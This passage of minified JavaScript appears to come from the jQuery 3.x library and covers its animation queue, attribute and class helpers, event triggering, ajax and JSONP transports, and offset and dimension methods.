this;for(e=!0;c<d;c++)j.tweens[c].run(1);return b?(h.notifyWith(a,[j,1,0]),h.resolveWith(a,[j,b])):h.rejectWith(a,[j,b]),this}}),k=j.props;for(jb(k,j.opts.specialEasing);f<g;f++)if(d=kb.prefilters[f].call(j,a,k,j.opts))return r.isFunction(d.stop)&&(r._queueHooks(j.elem,j.opts.queue).stop=r.proxy(d.stop,d)),d;return r.map(k,hb,j),r.isFunction(j.opts.start)&&j.opts.start.call(a,j),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always),r.fx.timer(r.extend(i,{elem:a,anim:j,queue:j.opts.queue})),j}r.Animation=r.extend(kb,{tweeners:{"*":[function(a,b){var c=this.createTween(a,b);return fa(c.elem,a,ba.exec(b),c),c}]},tweener:function(a,b){r.isFunction(a)?(b=a,a=["*"]):a=a.match(L);for(var c,d=0,e=a.length;d<e;d++)c=a[d],kb.tweeners[c]=kb.tweeners[c]||[],kb.tweeners[c].unshift(b)},prefilters:[ib],prefilter:function(a,b){b?kb.prefilters.unshift(a):kb.prefilters.push(a)}}),r.speed=function(a,b,c){var d=a&&"object"==typeof a?r.extend({},a):{complete:c||!c&&b||r.isFunction(a)&&a,duration:a,easing:c&&b||b&&!r.isFunction(b)&&b};return r.fx.off?d.duration=0:"number"!=typeof d.duration&&(d.duration in r.fx.speeds?d.duration=r.fx.speeds[d.duration]:d.duration=r.fx.speeds._default),null!=d.queue&&d.queue!==!0||(d.queue="fx"),d.old=d.complete,d.complete=function(){r.isFunction(d.old)&&d.old.call(this),d.queue&&r.dequeue(this,d.queue)},d},r.fn.extend({fadeTo:function(a,b,c,d){return this.filter(da).css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=r.isEmptyObject(a),f=r.speed(b,c,d),g=function(){var b=kb(this,r.extend({},a),f);(e||W.get(this,"finish"))&&b.stop(!0)};return g.finish=g,e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,b,c){var d=function(a){var b=a.stop;delete a.stop,b(c)};return"string"!=typeof a&&(c=b,b=a,a=void 0),b&&a!==!1&&this.queue(a||"fx",[]),this.each(function(){var b=!0,e=null!=a&&a+"queueHooks",f=r.timers,g=W.get(this);if(e)g[e]&&g[e].stop&&d(g[e]);else for(e in g)g[e]&&g[e].stop&&db.test(e)&&d(g[e]);for(e=f.length;e--;)f[e].elem!==this||null!=a&&f[e].queue!==a||(f[e].anim.stop(c),b=!1,f.splice(e,1));!b&&c||r.dequeue(this,a)})},finish:function(a){return a!==!1&&(a=a||"fx"),this.each(function(){var b,c=W.get(this),d=c[a+"queue"],e=c[a+"queueHooks"],f=r.timers,g=d?d.length:0;for(c.finish=!0,r.queue(this,a,[]),e&&e.stop&&e.stop.call(this,!0),b=f.length;b--;)f[b].elem===this&&f[b].queue===a&&(f[b].anim.stop(!0),f.splice(b,1));for(b=0;b<g;b++)d[b]&&d[b].finish&&d[b].finish.call(this);delete c.finish})}}),r.each(["toggle","show","hide"],function(a,b){var c=r.fn[b];r.fn[b]=function(a,d,e){return null==a||"boolean"==typeof a?c.apply(this,arguments):this.animate(gb(b,!0),a,d,e)}}),r.each({slideDown:gb("show"),slideUp:gb("hide"),slideToggle:gb("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){r.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),r.timers=[],r.fx.tick=function(){var a,b=0,c=r.timers;for(ab=r.now();b<c.length;b++)a=c[b],a()||c[b]!==a||c.splice(b--,1);c.length||r.fx.stop(),ab=void 0},r.fx.timer=function(a){r.timers.push(a),r.fx.start()},r.fx.interval=13,r.fx.start=function(){bb||(bb=!0,eb())},r.fx.stop=function(){bb=null},r.fx.speeds={slow:600,fast:200,_default:400},r.fn.delay=function(b,c){return b=r.fx?r.fx.speeds[b]||b:b,c=c||"fx",this.queue(c,function(c,d){var e=a.setTimeout(c,b);d.stop=function(){a.clearTimeout(e)}})},function(){var a=d.createElement("input"),b=d.createElement("select"),c=b.appendChild(d.createElement("option"));a.type="checkbox",o.checkOn=""!==a.value,o.optSelected=c.selected,a=d.createElement("input"),a.value="t",a.type="radio",o.radioValue="t"===a.value}();var lb,mb=r.expr.attrHandle;r.fn.extend({attr:function(a,b){return T(this,r.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?r.prop(a,b,c):(1===f&&r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?lb:void 0)),void 0!==c?null===c?void r.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b), null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue&&"radio"===b&&B(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b&&b.match(L);if(e&&1===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),lb={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\w+/g),function(a,b){var c=mb[b]||r.find.attr;mb[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=mb[g],mb[g]=e,e=null!=c(a,b,d)?g:null,mb[g]=f),e}});var nb=/^(?:input|select|textarea|button)$/i,ob=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return T(this,r.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,"tabindex");return b?parseInt(b,10):nb.test(a.nodeName)||ob.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){r.propFix[this.toLowerCase()]=this});function pb(a){var b=a.match(L)||[];return b.join(" ")}function qb(a){return a.getAttribute&&a.getAttribute("class")||""}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,qb(this)))});if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,qb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,qb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=r(this),f=a.match(L)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=qb(this),b&&W.set(this,"__className__",b),this.setAttribute&&this.setAttribute("class",b||a===!1?"":W.get(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+pb(qb(c))+" ").indexOf(b)>-1)return!0;return!1}});var rb=/\r/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,r(this).val()):a,null==e?e="":"number"==typeof e?e+="":Array.isArray(e)&&(e=r.map(e,function(a){return null==a?"":a+""})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(rb,""):null==c?"":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,"value");return null!=b?b:pb(r.text(a))}},select:{get:function(a){var b,c,d,e=a.options,f=a.selectedIndex,g="select-one"===a.type,h=g?null:[],i=g?f+1:e.length;for(d=f<0?i:g?f:0;d<i;d++)if(c=e[d],(c.selected||d===f)&&!c.disabled&&(!c.parentNode.disabled||!B(c.parentNode,"optgroup"))){if(b=r(c).val(),g)return b;h.push(b)}return h},set:function(a,b){var c,d,e=a.options,f=r.makeArray(b),g=e.length;while(g--)d=e[g],(d.selected=r.inArray(r.valHooks.option.get(d),f)>-1)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each(["radio","checkbox"],function(){r.valHooks[this]={set:function(a,b){if(Array.isArray(b))return a.checked=r.inArray(r(a).val(),b)>-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var sb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var g,h,i,j,k,m,n,o=[e||d],p=l.call(b,"type")?b.type:b,q=l.call(b,"namespace")?b.namespace.split("."):[];if(h=i=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!sb.test(p+r.event.triggered)&&(p.indexOf(".")>-1&&(q=p.split("."),p=q.shift(),q.sort()),k=p.indexOf(":")<0&&"on"+p,b=b[r.expando]?b:new r.Event(p,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=q.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:r.makeArray(c,[b]),n=r.event.special[p]||{},f||!n.trigger||n.trigger.apply(e,c)!==!1)){if(!f&&!n.noBubble&&!r.isWindow(e)){for(j=n.delegateType||p,sb.test(j+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),i=h;i===(e.ownerDocument||d)&&o.push(i.defaultView||i.parentWindow||a)}g=0;while((h=o[g++])&&!b.isPropagationStopped())b.type=g>1?j:n.bindType||p,m=(W.get(h,"events")||{})[b.type]&&W.get(h,"handle"),m&&m.apply(h,c),m=k&&h[k],m&&m.apply&&U(h)&&(b.result=m.apply(h,c),b.result===!1&&b.preventDefault());return b.type=p,f||b.isDefaultPrevented()||n._default&&n._default.apply(o.pop(),c)!==!1||!U(e)||k&&r.isFunction(e[p])&&!r.isWindow(e)&&(i=e[k],i&&(e[k]=null),r.event.triggered=p,e[p](),r.event.triggered=void 0,i&&(e[k]=i)),b.result}},simulate:function(a,b,c){var d=r.extend(new r.Event,c,{type:a,isSimulated:!0});r.event.trigger(d,null,b)}}),r.fn.extend({trigger:function(a,b){return this.each(function(){r.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];if(c)return r.event.trigger(a,b,c,!0)}}),r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(a,b){r.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),r.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),o.focusin="onfocusin"in a,o.focusin||r.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){r.event.simulate(b,a.target,r.event.fix(a))};r.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=W.access(d,b);e||d.addEventListener(a,c,!0),W.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=W.access(d,b)-1;e?W.access(d,b,e):(d.removeEventListener(a,c,!0),W.remove(d,b))}}});var tb=a.location,ub=r.now(),vb=/\?/;r.parseXML=function(b){var c;if(!b||"string"!=typeof b)return null;try{c=(new a.DOMParser).parseFromString(b,"text/xml")}catch(d){c=void 0}return c&&!c.getElementsByTagName("parsererror").length||r.error("Invalid XML: "+b),c};var wb=/\[\]$/,xb=/\r?\n/g,yb=/^(?:submit|button|image|reset|file)$/i,zb=/^(?:input|select|textarea|keygen)/i;function Ab(a,b,c,d){var e;if(Array.isArray(b))r.each(b,function(b,e){c||wb.test(a)?d(a,e):Ab(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==r.type(b))d(a,b);else for(e in b)Ab(a+"["+e+"]",b[e],c,d)}r.param=function(a,b){var c,d=[],e=function(a,b){var c=r.isFunction(b)?b():b;d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(null==c?"":c)};if(Array.isArray(a)||a.jquery&&!r.isPlainObject(a))r.each(a,function(){e(this.name,this.value)});else for(c in a)Ab(c,a[c],b,e);return d.join("&")},r.fn.extend({serialize:function(){return r.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=r.prop(this,"elements");return a?r.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!r(this).is(":disabled")&&zb.test(this.nodeName)&&!yb.test(a)&&(this.checked||!ja.test(a))}).map(function(a,b){var c=r(this).val();return null==c?null:Array.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(xb,"\r\n")}}):{name:b.name,value:c.replace(xb,"\r\n")}}).get()}});var Bb=/%20/g,Cb=/#.*$/,Db=/([?&])_=[^&]*/,Eb=/^(.*?):[ \t]*([^\r\n]*)$/gm,Fb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Gb=/^(?:GET|HEAD)$/,Hb=/^\/\//,Ib={},Jb={},Kb="*/".concat("*"),Lb=d.createElement("a");Lb.href=tb.href;function Mb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(L)||[];if(r.isFunction(c))while(d=f[e++])"+"===d[0]?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Nb(a,b,c,d){var e={},f=a===Jb;function g(h){var i;return e[h]=!0,r.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Ob(a,b){var c,d,e=r.ajaxSettings.flatOptions||{};for(c in b)void 0!==b[c]&&((e[c]?a:d||(d={}))[c]=b[c]);return d&&r.extend(!0,a,d),a}function Pb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===d&&(d=a.mimeType||b.getResponseHeader("Content-Type"));if(d)for(e in h)if(h[e]&&h[e].test(d)){i.unshift(e);break}if(i[0]in c)f=i[0];else{for(e in c){if(!i[0]||a.converters[e+" "+i[0]]){f=e;break}g||(g=e)}f=f||g}if(f)return f!==i[0]&&i.unshift(f),c[f]}function Qb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}r.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:tb.href,type:"GET",isLocal:Fb.test(tb.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Kb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":r.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Ob(Ob(a,r.ajaxSettings),b):Ob(r.ajaxSettings,a)},ajaxPrefilter:Mb(Ib),ajaxTransport:Mb(Jb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var e,f,g,h,i,j,k,l,m,n,o=r.ajaxSetup({},c),p=o.context||o,q=o.context&&(p.nodeType||p.jquery)?r(p):r.event,s=r.Deferred(),t=r.Callbacks("once memory"),u=o.statusCode||{},v={},w={},x="canceled",y={readyState:0,getResponseHeader:function(a){var b;if(k){if(!h){h={};while(b=Eb.exec(g))h[b[1].toLowerCase()]=b[2]}b=h[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return k?g:null},setRequestHeader:function(a,b){return null==k&&(a=w[a.toLowerCase()]=w[a.toLowerCase()]||a,v[a]=b),this},overrideMimeType:function(a){return null==k&&(o.mimeType=a),this},statusCode:function(a){var b;if(a)if(k)y.always(a[y.status]);else for(b in a)u[b]=[u[b],a[b]];return this},abort:function(a){var b=a||x;return e&&e.abort(b),A(0,b),this}};if(s.promise(y),o.url=((b||o.url||tb.href)+"").replace(Hb,tb.protocol+"//"),o.type=c.method||c.type||o.method||o.type,o.dataTypes=(o.dataType||"*").toLowerCase().match(L)||[""],null==o.crossDomain){j=d.createElement("a");try{j.href=o.url,j.href=j.href,o.crossDomain=Lb.protocol+"//"+Lb.host!=j.protocol+"//"+j.host}catch(z){o.crossDomain=!0}}if(o.data&&o.processData&&"string"!=typeof o.data&&(o.data=r.param(o.data,o.traditional)),Nb(Ib,o,c,y),k)return y;l=r.event&&o.global,l&&0===r.active++&&r.event.trigger("ajaxStart"),o.type=o.type.toUpperCase(),o.hasContent=!Gb.test(o.type),f=o.url.replace(Cb,""),o.hasContent?o.data&&o.processData&&0===(o.contentType||"").indexOf("application/x-www-form-urlencoded")&&(o.data=o.data.replace(Bb,"+")):(n=o.url.slice(f.length),o.data&&(f+=(vb.test(f)?"&":"?")+o.data,delete o.data),o.cache===!1&&(f=f.replace(Db,"$1"),n=(vb.test(f)?"&":"?")+"_="+ub++ +n),o.url=f+n),o.ifModified&&(r.lastModified[f]&&y.setRequestHeader("If-Modified-Since",r.lastModified[f]),r.etag[f]&&y.setRequestHeader("If-None-Match",r.etag[f])),(o.data&&o.hasContent&&o.contentType!==!1||c.contentType)&&y.setRequestHeader("Content-Type",o.contentType),y.setRequestHeader("Accept",o.dataTypes[0]&&o.accepts[o.dataTypes[0]]?o.accepts[o.dataTypes[0]]+("*"!==o.dataTypes[0]?", "+Kb+"; q=0.01":""):o.accepts["*"]);for(m in o.headers)y.setRequestHeader(m,o.headers[m]);if(o.beforeSend&&(o.beforeSend.call(p,y,o)===!1||k))return y.abort();if(x="abort",t.add(o.complete),y.done(o.success),y.fail(o.error),e=Nb(Jb,o,c,y)){if(y.readyState=1,l&&q.trigger("ajaxSend",[y,o]),k)return y;o.async&&o.timeout>0&&(i=a.setTimeout(function(){y.abort("timeout")},o.timeout));try{k=!1,e.send(v,A)}catch(z){if(k)throw z;A(-1,z)}}else A(-1,"No Transport");function A(b,c,d,h){var j,m,n,v,w,x=c;k||(k=!0,i&&a.clearTimeout(i),e=void 0,g=h||"",y.readyState=b>0?4:0,j=b>=200&&b<300||304===b,d&&(v=Pb(o,y,d)),v=Qb(o,v,y,j),j?(o.ifModified&&(w=y.getResponseHeader("Last-Modified"),w&&(r.lastModified[f]=w),w=y.getResponseHeader("etag"),w&&(r.etag[f]=w)),204===b||"HEAD"===o.type?x="nocontent":304===b?x="notmodified":(x=v.state,m=v.data,n=v.error,j=!n)):(n=x,!b&&x||(x="error",b<0&&(b=0))),y.status=b,y.statusText=(c||x)+"",j?s.resolveWith(p,[m,x,y]):s.rejectWith(p,[y,x,n]),y.statusCode(u),u=void 0,l&&q.trigger(j?"ajaxSuccess":"ajaxError",[y,o,j?m:n]),t.fireWith(p,[y,x]),l&&(q.trigger("ajaxComplete",[y,o]),--r.active||r.event.trigger("ajaxStop")))}return y},getJSON:function(a,b,c){return r.get(a,b,c,"json")},getScript:function(a,b){return r.get(a,void 0,b,"script")}}),r.each(["get","post"],function(a,b){r[b]=function(a,c,d,e){return r.isFunction(c)&&(e=e||d,d=c,c=void 0),r.ajax(r.extend({url:a,type:b,dataType:e,data:c,success:d},r.isPlainObject(a)&&a))}}),r._evalUrl=function(a){return r.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},r.fn.extend({wrapAll:function(a){var b;return this[0]&&(r.isFunction(a)&&(a=a.call(this[0])),b=r(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(a){return this.parent(a).not("body").each(function(){r(this).replaceWith(this.childNodes)}),this}}),r.expr.pseudos.hidden=function(a){return!r.expr.pseudos.visible(a)},r.expr.pseudos.visible=function(a){return!!(a.offsetWidth||a.offsetHeight||a.getClientRects().length)},r.ajaxSettings.xhr=function(){try{return new a.XMLHttpRequest}catch(b){}};var Rb={0:200,1223:204},Sb=r.ajaxSettings.xhr();o.cors=!!Sb&&"withCredentials"in Sb,o.ajax=Sb=!!Sb,r.ajaxTransport(function(b){var c,d;if(o.cors||Sb&&!b.crossDomain)return{send:function(e,f){var g,h=b.xhr();if(h.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(g in b.xhrFields)h[g]=b.xhrFields[g];b.mimeType&&h.overrideMimeType&&h.overrideMimeType(b.mimeType),b.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest");for(g in e)h.setRequestHeader(g,e[g]);c=function(a){return function(){c&&(c=d=h.onload=h.onerror=h.onabort=h.onreadystatechange=null,"abort"===a?h.abort():"error"===a?"number"!=typeof h.status?f(0,"error"):f(h.status,h.statusText):f(Rb[h.status]||h.status,h.statusText,"text"!==(h.responseType||"text")||"string"!=typeof h.responseText?{binary:h.response}:{text:h.responseText},h.getAllResponseHeaders()))}},h.onload=c(),d=h.onerror=c("error"),void 0!==h.onabort?h.onabort=d:h.onreadystatechange=function(){4===h.readyState&&a.setTimeout(function(){c&&d()})},c=c("abort");try{h.send(b.hasContent&&b.data||null)}catch(i){if(c)throw i}},abort:function(){c&&c()}}}),r.ajaxPrefilter(function(a){a.crossDomain&&(a.contents.script=!1)}),r.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return r.globalEval(a),a}}}),r.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET")}),r.ajaxTransport("script",function(a){if(a.crossDomain){var b,c;return{send:function(e,f){b=r("<script>").prop({charset:a.scriptCharset,src:a.url}).on("load error",c=function(a){b.remove(),c=null,a&&f("error"===a.type?404:200,a.type)}),d.head.appendChild(b[0])},abort:function(){c&&c()}}}});var Tb=[],Ub=/(=)\?(?=&|$)|\?\?/;r.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var a=Tb.pop()||r.expando+"_"+ub++;return this[a]=!0,a}}),r.ajaxPrefilter("json jsonp",function(b,c,d){var e,f,g,h=b.jsonp!==!1&&(Ub.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType||"").indexOf("application/x-www-form-urlencoded")&&Ub.test(b.data)&&"data");if(h||"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(Ub,"$1"+e):b.jsonp!==!1&&(b.url+=(vb.test(b.url)?"&":"?")+b.jsonp+"="+e),b.converters["script json"]=function(){return g||r.error(e+" was not called"),g[0]},b.dataTypes[0]="json",f=a[e],a[e]=function(){g=arguments},d.always(function(){void 0===f?r(a).removeProp(e):a[e]=f,b[e]&&(b.jsonpCallback=c.jsonpCallback,Tb.push(e)),g&&r.isFunction(f)&&f(g[0]),g=f=void 0}),"script"}),o.createHTMLDocument=function(){var a=d.implementation.createHTMLDocument("").body;return a.innerHTML="<form></form><form></form>",2===a.childNodes.length}(),r.parseHTML=function(a,b,c){if("string"!=typeof a)return[];"boolean"==typeof b&&(c=b,b=!1);var e,f,g;return b||(o.createHTMLDocument?(b=d.implementation.createHTMLDocument(""),e=b.createElement("base"),e.href=d.location.href,b.head.appendChild(e)):b=d),f=C.exec(a),g=!c&&[],f?[b.createElement(f[1])]:(f=qa([a],b,g),g&&g.length&&r(g).remove(),r.merge([],f.childNodes))},r.fn.load=function(a,b,c){var d,e,f,g=this,h=a.indexOf(" ");return h>-1&&(d=pb(a.slice(h)),a=a.slice(0,h)),r.isFunction(b)?(c=b,b=void 0):b&&"object"==typeof b&&(e="POST"),g.length>0&&r.ajax({url:a,type:e||"GET",dataType:"html",data:b}).done(function(a){f=arguments,g.html(d?r("<div>").append(r.parseHTML(a)).find(d):a)}).always(c&&function(a,b){g.each(function(){c.apply(this,f||[a.responseText,b,a])})}),this},r.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(a,b){r.fn[b]=function(a){return this.on(b,a)}}),r.expr.pseudos.animated=function(a){return r.grep(r.timers,function(b){return a===b.elem}).length},r.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=r.css(a,"position"),l=r(a),m={};"static"===k&&(a.style.position="relative"),h=l.offset(),f=r.css(a,"top"),i=r.css(a,"left"),j=("absolute"===k||"fixed"===k)&&(f+i).indexOf("auto")>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),r.isFunction(b)&&(b=b.call(a,c,r.extend({},h))),null!=b.top&&(m.top=b.top-h.top+g),null!=b.left&&(m.left=b.left-h.left+e),"using"in b?b.using.call(a,m):l.css(m)}},r.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){r.offset.setOffset(this,a,b)});var b,c,d,e,f=this[0];if(f)return f.getClientRects().length?(d=f.getBoundingClientRect(),b=f.ownerDocument,c=b.documentElement,e=b.defaultView,{top:d.top+e.pageYOffset-c.clientTop,left:d.left+e.pageXOffset-c.clientLeft}):{top:0,left:0}},position:function(){if(this[0]){var a,b,c=this[0],d={top:0,left:0};return"fixed"===r.css(c,"position")?b=c.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),B(a[0],"html")||(d=a.offset()),d={top:d.top+r.css(a[0],"borderTopWidth",!0),left:d.left+r.css(a[0],"borderLeftWidth",!0)}),{top:b.top-d.top-r.css(c,"marginTop",!0),left:b.left-d.left-r.css(c,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent;while(a&&"static"===r.css(a,"position"))a=a.offsetParent;return a||ra})}}),r.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,b){var c="pageYOffset"===b;r.fn[a]=function(d){return T(this,function(a,d,e){var f;return r.isWindow(a)?f=a:9===a.nodeType&&(f=a.defaultView),void 0===e?f?f[b]:a[d]:void(f?f.scrollTo(c?f.pageXOffset:e,c?e:f.pageYOffset):a[d]=e)},a,d,arguments.length)}}),r.each(["top","left"],function(a,b){r.cssHooks[b]=Pa(o.pixelPosition,function(a,c){if(c)return c=Oa(a,b),Ma.test(c)?r(a).position()[b]+"px":c})}),r.each({Height:"height",Width:"width"},function(a,b){r.each({padding:"inner"+a,content:b,"":"outer"+a},function(c,d){r.fn[d]=function(e,f){var g=arguments.length&&(c||"boolean"!=typeof e),h=c||(e===!0||f===!0?"margin":"border");return T(this,function(b,c,e){var f;return r.isWindow(b)?0===d.indexOf("outer")?b["inner"+a]:b.document.documentElement["client"+a]:9===b.nodeType?(f=b.documentElement,Math.max(b.body["scroll"+a],f["scroll"+a],b.body["offset"+a],f["offset"+a],f["client"+a])):void 0===e?r.css(b,c,h):r.style(b,c,e,h)},b,g?e:void 0,g)}})}),r.fn.extend({bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 